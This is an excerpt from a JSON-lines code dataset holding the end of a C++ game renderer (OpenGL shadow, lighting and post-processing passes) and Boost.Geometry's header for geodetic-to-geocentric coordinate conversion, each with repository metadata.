/ camProjection.GetVisibleRegion().y;\n                mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( unwrap ), lightsid,\n                    [&](ShaderManager& ShaderMgr)->void{\n                        ShaderMgr.UploadData( \"resolution\", mCamera.GetProjection().GetViewport().Size() * shadowmult );\n                        ShaderMgr.UploadData( \"lightPosition\", lightPos );\n                        ShaderMgr.UploadData( \"lightRect\", sizePos2 );\n                        ShaderMgr.UploadData( \"lightSize\", lightSize );\n                        ShaderMgr.UploadData( \"distanceMult\", distanceMult );\n                        ShaderMgr.UploadData( \"heading\", ori );\n                        ShaderMgr.UploadData( \"aperture\", aperture );\n                        ShaderMgr.UploadData( \"fsaperture\", fsaperture );\n                    } );\n            }\n\n            // !---- cumulative lights for normal maps\n            glBlendEquation( GL_MIN );\n            rt.SelectTargetTexture( cumulativeLight );\n            mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( lightrl, 1 ), mergelights,\n                     [&](ShaderManager& ShaderMgr)->void{\n                        ShaderMgr.UploadData( \"resolution\", mCamera.GetProjection().GetViewport().Size() );\n                    } );\n            glBlendEquation( GL_FUNC_ADD );\n            SetupRenderer( mCamera, shadowmult );\n            // remove self-cast shadows from the normal map mask\n            // note: we use the alpha channel only from the cumul. lights map, so we can simply use the default draw shader. yay.\n            mActorRenderer.Draw( std::bind( &selectShadowCasters, std::placeholders::_1, shadowLevel) );\n\n            glBlendEquation( GL_FUNC_ADD );\n            if( topmost )  // on topmost level, only the shadow receivers should be visibly illuminated, not the lower shadow receiver layers\n            {   // note: topmost level must use full-size texture, as we are cutting out the highest shadow receivers\n                // and if we apply scaling, the cut-out might leave bright pixels on the cut edges\n                SetupRenderer( mCamera );\n                SetupIdentity();\n                rt.SetTargetTexture( fullsizeshadows, RenderTargetProps( mCamera.GetProjection().GetViewport().Size(), { GL_RGBA4 } ) );\n                mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( lightrl ), solidid );\n                rt.SetTargetTexture( topcasters, RenderTargetProps( mCamera.GetProjection().GetViewport().Size(), { GL_RGBA4, GL_RGB4 } ) );\n                SetupRenderer( mCamera );\n                mActorRenderer.Draw( std::bind( &selectShadowReceivers, std::placeholders::_1, shadowLevel ) );\n                glBlendFuncSeparate( GL_ZERO, GL_ONE, GL_DST_ALPHA, GL_ZERO );\n                rt.SelectTargetTexture( fullsizeshadows );\n                SetupIdentity();\n                // !---- lights/shadows\n                mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( topcasters ), topcastersid );\n            }\n\n            glBlendFunc( GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA );\n            rt.SelectTargetTexture( world );\n            SetupRenderer( mCamera );\n            // using a small(ish) shadow mult with linear texture mag filter, we can simply render the shadow layer instead of using a more expensive blur filter ( and that even a few times )\n            SetupIdentity();\n            // !---- lights/shadows\n            mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( topmost ? fullsizeshadows : lightrl ), lightmap,\n                     [&](ShaderManager& ShaderMgr)->void{\n                        ShaderMgr.UploadData( \"resolution\", mCamera.GetProjection().GetViewport().Size() * shadowmult );\n                        ShaderMgr.UploadData( \"maxShadow\", maxShadow );\n                    } );\n        }\n    }\n    else\n    {\n        mActorRenderer.Draw( &selectNonBloodReceivers );\n    }\n    mPerfTimer.Log( \"post shadow\" );\n\n    // render the world to the worldBumped texture using the bump mapping shader\n    SetupRenderer( mCamera );\n    rt.SetTargetTexture( worldBumped, RenderTargetProps( mWorldProjector.GetViewport().Size() ) );\n    SetupIdentity();\n    glBlendFunc( GL_ONE, GL_ONE );\n    glBlendEquation( GL_MAX );\n    static int32_t bumpid = AutoId( \"bump_map_mp\" );\n    glDepthFunc( GL_LEQUAL );\n    for( auto const& light : lights )\n    {\n        auto lightPos4 =  mWorldProjector.GetMatrix() * mCamera.GetView()\n            * glm::vec4( light.center.x, light.center.y, 1, 1 );\n        glm::vec2 lightPos = glm::vec2( lightPos4.x + 1, lightPos4.y + 1 ) / 2.0;\n        GLfloat lightSize = light.lightC.IsValid() ? light.lightC->GetRadius() : -1.0;\n\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( world ), bumpid,\n            [&](ShaderManager& ShaderMgr)->void{\n                ShaderMgr.UploadData( \"secondaryTexture\", GLuint( 2 ) );\n                ShaderMgr.UploadData( \"lightTexture\", GLuint( 3 ) );\n                ShaderMgr.UploadData( \"resolution\", mWorldProjector.GetViewport().Size() );\n                ShaderMgr.UploadData( \"lightPosition\", lightPos );\n                ShaderMgr.UploadData( \"lightSize\", lightSize );\n                glActiveTexture( GL_TEXTURE0 + 2 );\n                glBindTexture( GL_TEXTURE_2D, rt.GetTextureId( world, 1 ) );\n                glActiveTexture( GL_TEXTURE0 + 3 );\n                glBindTexture( GL_TEXTURE_2D, rt.GetTextureId( cumulativeLight ) );\n            } );\n    }\n    glBlendFunc( GL_ONE, GL_ONE );\n    glBlendEquation( GL_FUNC_ADD );\n    glDepthFunc( GL_LESS );\n\n    rt.SetTargetTexture( worldEffects, RenderTargetProps( mWorldProjector.GetViewport().Size() ) );\n    mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( worldBumped ), solidid );\n\n    static bool const enablePostprocessing = Settings::Get().GetBool( \"graphics.postprocess\", true );\n    if( enablePostprocessing )\n    {\n        RenderTargetProps worldPPProps( mWorldProjector.GetViewport().Size(), { GL_RED } );\n        // render the per-actor effects\n        glBlendFunc( GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA );\n        for( auto id : postProcessorIds )\n        {\n            // TODO: downscale\n            static int32_t debuggedPP = AutoId( Settings::Get().GetStr( \"graphics.shown_layer_pp_id\", \"\" ) );\n            uint32_t pp = id == debuggedPP ? worldDedicatedPostProcess : worldPostProcess;\n            rt.SetTargetTexture( pp, worldPPProps );\n            SetupRenderer( mCamera );\n            mActorRenderer.Draw( id );\n\n            GLuint srcTexture = rt.GetTextureId( worldBumped );\n            GLuint maskTexture = rt.GetTextureId( pp );\n            rt.SelectTargetTexture( worldEffects );\n            SetupIdentity();\n            mWorldRenderer.Draw( DeltaTime, srcTexture, id, maskTexture );\n        }\n    }\n    // set painting to screen\n    rt.SetTargetScreen();\n    glBlendFunc( GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA );\n    SetupIdentity();\n\n    // paint the previous textures to screen with custom additional effects\n    // actually we could skip this by painting directly to screen in prev. step\n    // but we can possibly upscale here for sweet sweet fps\n\n    static auto const layer = shownLayer();\n    switch( layer )\n    {\n    case PostprocessMask:\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( worldDedicatedPostProcess ), solidid );\n        break;\n    case SpriteCache:\n        mWorldRenderer.Draw( DeltaTime, cache.mTargetTexId, solidid );\n        break;\n    case BumpMap:\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( world, 1 ), solidid );\n        break;\n    case ShadowUnwrap:\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( shadowDedicatedUnwrap ), solidid );\n        break;\n    case Shadows:\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( shadowDedicatedOutline ), solidid );\n        break;\n    case Lights:\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( lightsDedicated ), solidid );\n        break;\n    case TopLights:\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( topcasters ), solidid );\n        break;\n    case FsShadows:\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( fullsizeshadows ), solidid );\n        break;\n    case AllLights:\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( cumulativeLight ), solidid );\n        break;\n    default:\n        mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( worldEffects ), solidid );\n    }\n\n    SetupRenderer( mCamera );\n    render::ParticleEngine::Get().Draw();\n\n    Viewport const& Vp = mUiProjector.GetViewport();\n    glViewport( Vp.X, Vp.Y, Vp.Width, Vp.Height );\n    mShaderManager.UploadGlobalData( GlobalShaderData::Resolution, glm::vec2( Vp.Width, Vp.Height ) );\n\n    static bool const showNames = Settings::Get().GetBool( \"graphics.show_names\", true );\n    static bool const showHealthbars = Settings::Get().GetBool( \"graphics.show_healthbars\", true );\n\n    mUiRenderer.Draw( mUi.GetRoot(), mUiProjector.GetMatrix() );\n    if( showNames )\n    {\n        mNameRenderer.Draw( mTextSceneRenderer );\n    }\n    mPathBoxRenderer.Draw( mTextSceneRenderer );\n    if( showHealthbars )\n    {\n        mHealthBarRenderer.Draw();\n    }\n    mMouseRenderer.Draw( mTextSceneRenderer );\n    mTextSceneRenderer.Draw();\n    method.Log( \"end draw\" );\n    cache.ProcessPending();\n    method.Log( \"end process pending\" );\n    method.Log( \"end render\" );\n}\n\nvoid RendererSystem::SendWorldMouseMoveEvent()\n{\n    glm::vec3 newMouseWorldPos = glm::vec3( mCamera.GetInverseView() * glm::vec4( mWorldProjector.Unproject( mMouseRawPos ), 1.0 ) );\n    if ( newMouseWorldPos != mMouseWorldPos )\n    {\n        mMouseWorldPos = newMouseWorldPos;\n        WorldMouseMoveEvent WorldEvt( glm::vec2( mMouseWorldPos.x, mMouseWorldPos.y ) );\n        EventServer<WorldMouseMoveEvent>::Get().SendEvent( WorldEvt );\n    }\n}\n\nCamera const& RendererSystem::GetCamera() const\n{\n    return mCamera;\n}\n\n\nTextSceneRenderer& RendererSystem::GetTextSceneRenderer()\n{\n    return mTextSceneRenderer;\n}\n\n} // namespace engine\n\n", "meta": {"hexsha": "0571be6f229be83b487479fdeed3136ee16ae37a", "size": 29465, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/render/renderer.cpp", "max_stars_repo_name": "Reaping2/Reaping2", "max_stars_repo_head_hexsha": "0d4c988c99413e50cc474f6206cf64176eeec95d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3.0, "max_stars_repo_stars_event_min_datetime": "2015-02-22T20:34:28.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-04T08:55:25.000Z", "max_issues_repo_path": "src/render/renderer.cpp", "max_issues_repo_name": "Reaping2/Reaping2", "max_issues_repo_head_hexsha": "0d4c988c99413e50cc474f6206cf64176eeec95d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 22.0, "max_issues_repo_issues_event_min_datetime": "2015-12-13T16:29:40.000Z", "max_issues_repo_issues_event_max_datetime": "2017-03-04T15:45:44.000Z", "max_forks_repo_path": "src/render/renderer.cpp", "max_forks_repo_name": "Reaping2/Reaping2", "max_forks_repo_head_hexsha": "0d4c988c99413e50cc474f6206cf64176eeec95d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 14.0, "max_forks_repo_forks_event_min_datetime": "2015-11-23T21:25:09.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-17T17:03:23.000Z", "avg_line_length": 43.912071535, "max_line_length": 191, "alphanum_fraction": 0.6393008654, "num_tokens": 7303, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213219520929, "lm_q2_score": 0.24798742624020279, "lm_q1q2_score": 0.1288347555078073}}
{"text": "// Boost.Geometry\r\n// This file is manually converted from PROJ4\r\n\r\n// This file was modified by Oracle on 2017.\r\n// Modifications copyright (c) 2017, Oracle and/or its affiliates.\r\n// Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle\r\n\r\n// Use, modification and distribution is subject to the Boost Software License,\r\n// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\r\n// http://www.boost.org/LICENSE_1_0.txt)\r\n\r\n// This file is converted from PROJ4, http://trac.osgeo.org/proj\r\n// PROJ4 is originally written by Gerald Evenden (then of the USGS)\r\n// PROJ4 is maintained by Frank Warmerdam\r\n// This file was converted to Geometry Library by Adam Wulkiewicz\r\n\r\n// Original copyright notice:\r\n\r\n/***************************************************************************/\r\n/* RSC IDENTIFIER:  GEOCENTRIC\r\n *\r\n * ABSTRACT\r\n *\r\n *    This component provides conversions between Geodetic coordinates (latitude,\r\n *    longitude in radians and height in meters) and Geocentric coordinates\r\n *    (X, Y, Z) in meters.\r\n *\r\n * ERROR HANDLING\r\n *\r\n *    This component checks parameters for valid values.  If an invalid value\r\n *    is found, the error code is combined with the current error code using \r\n *    the bitwise or.  This combining allows multiple error codes to be\r\n *    returned. The possible error codes are:\r\n *\r\n *      GEOCENT_NO_ERROR        : No errors occurred in function\r\n *      GEOCENT_LAT_ERROR       : Latitude out of valid range\r\n *                                 (-90 to 90 degrees)\r\n *      GEOCENT_LON_ERROR       : Longitude out of valid range\r\n *                                 (-180 to 360 degrees)\r\n *      GEOCENT_A_ERROR         : Semi-major axis lessthan or equal to zero\r\n *      GEOCENT_B_ERROR         : Semi-minor axis lessthan or equal to zero\r\n *      GEOCENT_A_LESS_B_ERROR  : Semi-major axis less than semi-minor axis\r\n *\r\n *\r\n * REUSE NOTES\r\n *\r\n *    GEOCENTRIC is intended for reuse by any application that performs\r\n *    coordinate conversions between geodetic coordinates and geocentric\r\n *    coordinates.\r\n *    \r\n *\r\n * REFERENCES\r\n *    \r\n *    An Improved Algorithm for Geocentric to Geodetic Coordinate Conversion,\r\n *    Ralph Toms, February 1996  UCRL-JC-123138.\r\n *    \r\n *    Further information on GEOCENTRIC can be found in the Reuse Manual.\r\n *\r\n *    GEOCENTRIC originated from : U.S. Army Topographic Engineering Center\r\n *                                 Geospatial Information Division\r\n *                                 7701 Telegraph Road\r\n *                                 Alexandria, VA  22310-3864\r\n *\r\n * LICENSES\r\n *\r\n *    None apply to this component.\r\n *\r\n * RESTRICTIONS\r\n *\r\n *    GEOCENTRIC has no restrictions.\r\n *\r\n * ENVIRONMENT\r\n *\r\n *    GEOCENTRIC was tested and certified in the following environments:\r\n *\r\n *    1. Solaris 2.5 with GCC version 2.8.1\r\n *    2. Windows 95 with MS Visual C++ version 6\r\n *\r\n * MODIFICATIONS\r\n *\r\n *    Date              Description\r\n *    ----              -----------\r\n *    25-02-97          Original Code\r\n *\r\n */\r\n\r\n\r\n#ifndef BOOST_GEOMETRY_SRS_PROJECTIONS_IMPL_GEOCENT_HPP\r\n#define BOOST_GEOMETRY_SRS_PROJECTIONS_IMPL_GEOCENT_HPP\r\n\r\n\r\n#include <boost/geometry/util/math.hpp>\r\n\r\n\r\nnamespace boost { namespace geometry { namespace projections\r\n{\r\n\r\nnamespace detail\r\n{\r\n\r\n/***************************************************************************/\r\n/*\r\n *                               DEFINES\r\n */\r\nstatic const long GEOCENT_NO_ERROR       = 0x0000;\r\nstatic const long GEOCENT_LAT_ERROR      = 0x0001;\r\nstatic const long GEOCENT_LON_ERROR      = 0x0002;\r\nstatic const long GEOCENT_A_ERROR        = 0x0004;\r\nstatic const long GEOCENT_B_ERROR        = 0x0008;\r\nstatic const long GEOCENT_A_LESS_B_ERROR = 0x0010;\r\n\r\ntemplate <typename T>\r\nstruct GeocentricInfo\r\n{\r\n    T Geocent_a;        /* Semi-major axis of ellipsoid in meters */\r\n    T Geocent_b;        /* Semi-minor axis of ellipsoid           */\r\n    T Geocent_a2;       /* Square of semi-major axis */\r\n    T Geocent_b2;       /* Square of semi-minor axis */\r\n    T Geocent_e2;       /* Eccentricity squared  */\r\n    T Geocent_ep2;      /* 2nd eccentricity squared */\r\n};\r\n\r\ntemplate <typename T>\r\ninline T COS_67P5()\r\n{\r\n    /*return 0.38268343236508977*/;\r\n    return cos(T(67.5) * math::d2r<T>());  /* cosine of 67.5 degrees */\r\n}\r\ntemplate <typename T>\r\ninline T AD_C()\r\n{\r\n    return 1.0026000;            /* Toms region 1 constant */\r\n}\r\n\r\n\r\n/***************************************************************************/\r\n/*\r\n *                              FUNCTIONS     \r\n */\r\n\r\ntemplate <typename T>\r\ninline long pj_Set_Geocentric_Parameters (GeocentricInfo<T> & gi, T const& a, T const& b) \r\n\r\n{ /* BEGIN Set_Geocentric_Parameters */\r\n/*\r\n * The function Set_Geocentric_Parameters receives the ellipsoid parameters\r\n * as inputs and sets the corresponding state variables.\r\n *\r\n *    a  : Semi-major axis, in meters.          (input)\r\n *    b  : Semi-minor axis, in meters.          (input)\r\n */\r\n    long Error_Code = GEOCENT_NO_ERROR;\r\n\r\n    if (a <= 0.0)\r\n        Error_Code |= GEOCENT_A_ERROR;\r\n    if (b <= 0.0)\r\n        Error_Code |= GEOCENT_B_ERROR;\r\n    if (a < b)\r\n        Error_Code |= GEOCENT_A_LESS_B_ERROR;\r\n    if (!Error_Code)\r\n    {\r\n        gi.Geocent_a = a;\r\n        gi.Geocent_b = b;\r\n        gi.Geocent_a2 = a * a;\r\n        gi.Geocent_b2 = b * b;\r\n        gi.Geocent_e2 = (gi.Geocent_a2 - gi.Geocent_b2) / gi.Geocent_a2;\r\n        gi.Geocent_ep2 = (gi.Geocent_a2 - gi.Geocent_b2) / gi.Geocent_b2;\r\n    }\r\n    return (Error_Code);\r\n} /* END OF Set_Geocentric_Parameters */\r\n\r\n\r\ntemplate <typename T>\r\ninline void pj_Get_Geocentric_Parameters (GeocentricInfo<T> const& gi,\r\n                                          T & a, \r\n                                          T & b)\r\n{ /* BEGIN Get_Geocentric_Parameters */\r\n/*\r\n * The function Get_Geocentric_Parameters returns the ellipsoid parameters\r\n * to be used in geocentric coordinate conversions.\r\n *\r\n *    a  : Semi-major axis, in meters.          (output)\r\n *    b  : Semi-minor axis, in meters.          (output)\r\n */\r\n\r\n    a = gi.Geocent_a;\r\n    b = gi.Geocent_b;\r\n} /* END OF Get_Geocentric_Parameters */\r\n\r\n\r\ntemplate <typename T>\r\ninline long pj_Convert_Geodetic_To_Geocentric (GeocentricInfo<T> const& gi,\r\n                                               T Longitude, T Latitude, T Height,\r\n                                               T & X, T & Y, T & Z)\r\n{ /* BEGIN Convert_Geodetic_To_Geocentric */\r\n/*\r\n * The function Convert_Geodetic_To_Geocentric converts geodetic coordinates\r\n * (latitude, longitude, and height) to geocentric coordinates (X, Y, Z),\r\n * according to the current ellipsoid parameters.\r\n *\r\n *    Latitude  : Geodetic latitude in radians                     (input)\r\n *    Longitude : Geodetic longitude in radians                    (input)\r\n *    Height    : Geodetic height, in meters                       (input)\r\n *    X         : Calculated Geocentric X coordinate, in meters    (output)\r\n *    Y         : Calculated Geocentric Y coordinate, in meters    (output)\r\n *    Z         : Calculated Geocentric Z coordinate, in meters    (output)\r\n *\r\n */\r\n  long Error_Code = GEOCENT_NO_ERROR;\r\n  T Rn;            /*  Earth radius at location  */\r\n  T Sin_Lat;       /*  sin(Latitude)  */\r\n  T Sin2_Lat;      /*  Square of sin(Latitude)  */\r\n  T Cos_Lat;       /*  cos(Latitude)  */\r\n\r\n  static const T PI = math::pi<T>();\r\n  static const T PI_OVER_2 = math::half_pi<T>();\r\n\r\n  /*\r\n  ** Don't blow up if Latitude is just a little out of the value\r\n  ** range as it may just be a rounding issue.  Also removed longitude\r\n  ** test, it should be wrapped by cos() and sin().  NFW for PROJ.4, Sep/2001.\r\n  */\r\n  if( Latitude < -PI_OVER_2 && Latitude > -1.001 * PI_OVER_2 )\r\n      Latitude = -PI_OVER_2;\r\n  else if( Latitude > PI_OVER_2 && Latitude < 1.001 * PI_OVER_2 )\r\n      Latitude = PI_OVER_2;\r\n  else if ((Latitude < -PI_OVER_2) || (Latitude > PI_OVER_2))\r\n  { /* Latitude out of range */\r\n    Error_Code |= GEOCENT_LAT_ERROR;\r\n  }\r\n\r\n  if (!Error_Code)\r\n  { /* no errors */\r\n    if (Longitude > PI)\r\n      Longitude -= (2*PI);\r\n    Sin_Lat = sin(Latitude);\r\n    Cos_Lat = cos(Latitude);\r\n    Sin2_Lat = Sin_Lat * Sin_Lat;\r\n    Rn = gi.Geocent_a / (sqrt(1.0e0 - gi.Geocent_e2 * Sin2_Lat));\r\n    X = (Rn + Height) * Cos_Lat * cos(Longitude);\r\n    Y = (Rn + Height) * Cos_Lat * sin(Longitude);\r\n    Z = ((Rn * (1 - gi.Geocent_e2)) + Height) * Sin_Lat;\r\n  }\r\n  return (Error_Code);\r\n} /* END OF Convert_Geodetic_To_Geocentric */\r\n\r\n/*\r\n * The function Convert_Geocentric_To_Geodetic converts geocentric\r\n * coordinates (X, Y, Z) to geodetic coordinates (latitude, longitude, \r\n * and height), according to the current ellipsoid parameters.\r\n *\r\n *    X         : Geocentric X coordinate, in meters.         (input)\r\n *    Y         : Geocentric Y coordinate, in meters.         (input)\r\n *    Z         : Geocentric Z coordinate, in meters.         (input)\r\n *    Latitude  : Calculated latitude value in radians.       (output)\r\n *    Longitude : Calculated longitude value in radians.      (output)\r\n *    Height    : Calculated height value, in meters.         (output)\r\n */\r\n\r\n#define BOOST_GEOMETRY_PROJECTIONS_USE_ITERATIVE_METHOD\r\n\r\ntemplate <typename T>\r\ninline void pj_Convert_Geocentric_To_Geodetic (GeocentricInfo<T> const& gi,\r\n                                               T X, T Y, T Z,\r\n                                               T & Longitude, T & Latitude, T & Height)\r\n{ /* BEGIN Convert_Geocentric_To_Geodetic */\r\n\r\n    static const T PI_OVER_2 = math::half_pi<T>();\r\n\r\n#if !defined(BOOST_GEOMETRY_PROJECTIONS_USE_ITERATIVE_METHOD)\r\n\r\n    static const T COS_67P5 = detail::COS_67P5<T>();\r\n    static const T AD_C = detail::AD_C<T>();\r\n\r\n/*\r\n * The method used here is derived from 'An Improved Algorithm for\r\n * Geocentric to Geodetic Coordinate Conversion', by Ralph Toms, Feb 1996\r\n */\r\n\r\n/* Note: Variable names follow the notation used in Toms, Feb 1996 */\r\n\r\n    T W;        /* distance from Z axis */\r\n    T W2;       /* square of distance from Z axis */\r\n    T T0;       /* initial estimate of vertical component */\r\n    T T1;       /* corrected estimate of vertical component */\r\n    T S0;       /* initial estimate of horizontal component */\r\n    T S1;       /* corrected estimate of horizontal component */\r\n    T Sin_B0;   /* sin(B0), B0 is estimate of Bowring aux variable */\r\n    T Sin3_B0;  /* cube of sin(B0) */\r\n    T Cos_B0;   /* cos(B0) */\r\n    T Sin_p1;   /* sin(phi1), phi1 is estimated latitude */\r\n    T Cos_p1;   /* cos(phi1) */\r\n    T Rn;       /* Earth radius at location */\r\n    T Sum;      /* numerator of cos(phi1) */\r\n    bool At_Pole;     /* indicates location is in polar region */\r\n\r\n    At_Pole = false;\r\n    if (X != 0.0)\r\n    {\r\n        Longitude = atan2(Y,X);\r\n    }\r\n    else\r\n    {\r\n        if (Y > 0)\r\n        {\r\n            Longitude = PI_OVER_2;\r\n        }\r\n        else if (Y < 0)\r\n        {\r\n            Longitude = -PI_OVER_2;\r\n        }\r\n        else\r\n        {\r\n            At_Pole = true;\r\n            Longitude = 0.0;\r\n            if (Z > 0.0)\r\n            {  /* north pole */\r\n                Latitude = PI_OVER_2;\r\n            }\r\n            else if (Z < 0.0)\r\n            {  /* south pole */\r\n                Latitude = -PI_OVER_2;\r\n            }\r\n            else\r\n            {  /* center of earth */\r\n                Latitude = PI_OVER_2;\r\n                Height = -Geocent_b;\r\n                return;\r\n            } \r\n        }\r\n    }\r\n    W2 = X*X + Y*Y;\r\n    W = sqrt(W2);\r\n    T0 = Z * AD_C;\r\n    S0 = sqrt(T0 * T0 + W2);\r\n    Sin_B0 = T0 / S0;\r\n    Cos_B0 = W / S0;\r\n    Sin3_B0 = Sin_B0 * Sin_B0 * Sin_B0;\r\n    T1 = Z + gi.Geocent_b * gi.Geocent_ep2 * Sin3_B0;\r\n    Sum = W - gi.Geocent_a * gi.Geocent_e2 * Cos_B0 * Cos_B0 * Cos_B0;\r\n    S1 = sqrt(T1*T1 + Sum * Sum);\r\n    Sin_p1 = T1 / S1;\r\n    Cos_p1 = Sum / S1;\r\n    Rn = gi.Geocent_a / sqrt(1.0 - gi.Geocent_e2 * Sin_p1 * Sin_p1);\r\n    if (Cos_p1 >= COS_67P5)\r\n    {\r\n        Height = W / Cos_p1 - Rn;\r\n    }\r\n    else if (Cos_p1 <= -COS_67P5)\r\n    {\r\n        Height = W / -Cos_p1 - Rn;\r\n    }\r\n    else\r\n    {\r\n        Height = Z / Sin_p1 + Rn * (gi.Geocent_e2 - 1.0);\r\n    }\r\n    if (At_Pole == false)\r\n    {\r\n        Latitude = atan(Sin_p1 / Cos_p1);\r\n    }\r\n#else /* defined(BOOST_GEOMETRY_PROJECTIONS_USE_ITERATIVE_METHOD) */\r\n/*\r\n* Reference...\r\n* ============\r\n* Wenzel, H.-G.(1985): Hochaufl\u00f6sende Kugelfunktionsmodelle f\u00fcr\r\n* das Gravitationspotential der Erde. Wiss. Arb. Univ. Hannover\r\n* Nr. 137, p. 130-131.\r\n\r\n* Programmed by GGA- Leibniz-Institute of Applied Geophysics\r\n*               Stilleweg 2\r\n*               D-30655 Hannover\r\n*               Federal Republic of Germany\r\n*               Internet: www.gga-hannover.de\r\n*\r\n*               Hannover, March 1999, April 2004.\r\n*               see also: comments in statements\r\n* remarks:\r\n* Mathematically exact and because of symmetry of rotation-ellipsoid,\r\n* each point (X,Y,Z) has at least two solutions (Latitude1,Longitude1,Height1) and\r\n* (Latitude2,Longitude2,Height2). Is point=(0.,0.,Z) (P=0.), so you get even\r\n* four solutions,\tevery two symmetrical to the semi-minor axis.\r\n* Here Height1 and Height2 have at least a difference in order of\r\n* radius of curvature (e.g. (0,0,b)=> (90.,0.,0.) or (-90.,0.,-2b);\r\n* (a+100.)*(sqrt(2.)/2.,sqrt(2.)/2.,0.) => (0.,45.,100.) or\r\n* (0.,225.,-(2a+100.))).\r\n* The algorithm always computes (Latitude,Longitude) with smallest |Height|.\r\n* For normal computations, that means |Height|<10000.m, algorithm normally\r\n* converges after to 2-3 steps!!!\r\n* But if |Height| has the amount of length of ellipsoid's axis\r\n* (e.g. -6300000.m),\talgorithm needs about 15 steps.\r\n*/\r\n\r\n/* local definitions and variables */\r\n/* end-criterium of loop, accuracy of sin(Latitude) */\r\nstatic const T genau   = 1.E-12;\r\nstatic const T genau2  = (genau*genau);\r\nstatic const int maxiter = 30;\r\n\r\n    T P;        /* distance between semi-minor axis and location */\r\n    T RR;       /* distance between center and location */\r\n    T CT;       /* sin of geocentric latitude */\r\n    T ST;       /* cos of geocentric latitude */\r\n    T RX;\r\n    T RK;\r\n    T RN;       /* Earth radius at location */\r\n    T CPHI0;    /* cos of start or old geodetic latitude in iterations */\r\n    T SPHI0;    /* sin of start or old geodetic latitude in iterations */\r\n    T CPHI;     /* cos of searched geodetic latitude */\r\n    T SPHI;     /* sin of searched geodetic latitude */\r\n    T SDPHI;    /* end-criterium: addition-theorem of sin(Latitude(iter)-Latitude(iter-1)) */\r\n    int iter;   /* # of continuous iteration, max. 30 is always enough (s.a.) */\r\n\r\n    P = sqrt(X*X+Y*Y);\r\n    RR = sqrt(X*X+Y*Y+Z*Z);\r\n\r\n/*\tspecial cases for latitude and longitude */\r\n    if (P/gi.Geocent_a < genau) {\r\n\r\n/*  special case, if P=0. (X=0., Y=0.) */\r\n\tLongitude = 0.;\r\n\r\n/*  if (X,Y,Z)=(0.,0.,0.) then Height becomes semi-minor axis\r\n *  of ellipsoid (=center of mass), Latitude becomes PI/2 */\r\n        if (RR/gi.Geocent_a < genau) {\r\n            Latitude = PI_OVER_2;\r\n            Height   = -gi.Geocent_b;\r\n            return ;\r\n\r\n        }\r\n    }\r\n    else {\r\n/*  ellipsoidal (geodetic) longitude\r\n *  interval: -PI < Longitude <= +PI */\r\n        Longitude=atan2(Y,X);\r\n    }\r\n\r\n/* --------------------------------------------------------------\r\n * Following iterative algorithm was developed by\r\n * \"Institut f\u00fcr Erdmessung\", University of Hannover, July 1988.\r\n * Internet: www.ife.uni-hannover.de\r\n * Iterative computation of CPHI,SPHI and Height.\r\n * Iteration of CPHI and SPHI to 10**-12 radian resp.\r\n * 2*10**-7 arcsec.\r\n * --------------------------------------------------------------\r\n */\r\n    CT = Z/RR;\r\n    ST = P/RR;\r\n    RX = 1.0/sqrt(1.0-gi.Geocent_e2*(2.0-gi.Geocent_e2)*ST*ST);\r\n    CPHI0 = ST*(1.0-gi.Geocent_e2)*RX;\r\n    SPHI0 = CT*RX;\r\n    iter = 0;\r\n\r\n/* loop to find sin(Latitude) resp. Latitude\r\n * until |sin(Latitude(iter)-Latitude(iter-1))| < genau */\r\n    do\r\n    {\r\n        iter++;\r\n        RN = gi.Geocent_a/sqrt(1.0-gi.Geocent_e2*SPHI0*SPHI0);\r\n\r\n/*  ellipsoidal (geodetic) height */\r\n        Height = P*CPHI0+Z*SPHI0-RN*(1.0-gi.Geocent_e2*SPHI0*SPHI0);\r\n\r\n        RK = gi.Geocent_e2*RN/(RN+Height);\r\n        RX = 1.0/sqrt(1.0-RK*(2.0-RK)*ST*ST);\r\n        CPHI = ST*(1.0-RK)*RX;\r\n        SPHI = CT*RX;\r\n        SDPHI = SPHI*CPHI0-CPHI*SPHI0;\r\n        CPHI0 = CPHI;\r\n        SPHI0 = SPHI;\r\n    }\r\n    while (SDPHI*SDPHI > genau2 && iter < maxiter);\r\n\r\n/*\tellipsoidal (geodetic) latitude */\r\n    Latitude=atan(SPHI/fabs(CPHI));\r\n\r\n    return;\r\n#endif /* defined(BOOST_GEOMETRY_PROJECTIONS_USE_ITERATIVE_METHOD) */\r\n} /* END OF Convert_Geocentric_To_Geodetic */\r\n\r\n\r\n} // namespace detail\r\n\r\n\r\n}}} // namespace boost::geometry::projections\r\n\r\n\r\n#endif // BOOST_GEOMETRY_SRS_PROJECTIONS_IMPL_GEOCENT_HPP\r\n", "meta": {"hexsha": "cafa064f5a08c792e9bf59cd813b68c0da2990d0", "size": 16874, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "deps/boost/include/boost/geometry/srs/projections/impl/geocent.hpp", "max_stars_repo_name": "kindlychung/mediasoup-sfu-cpp", "max_stars_repo_head_hexsha": "f69d2f48f7edbf4f0c57244280a47bea985f39cf", "max_stars_repo_licenses": ["Apache-2.0"], 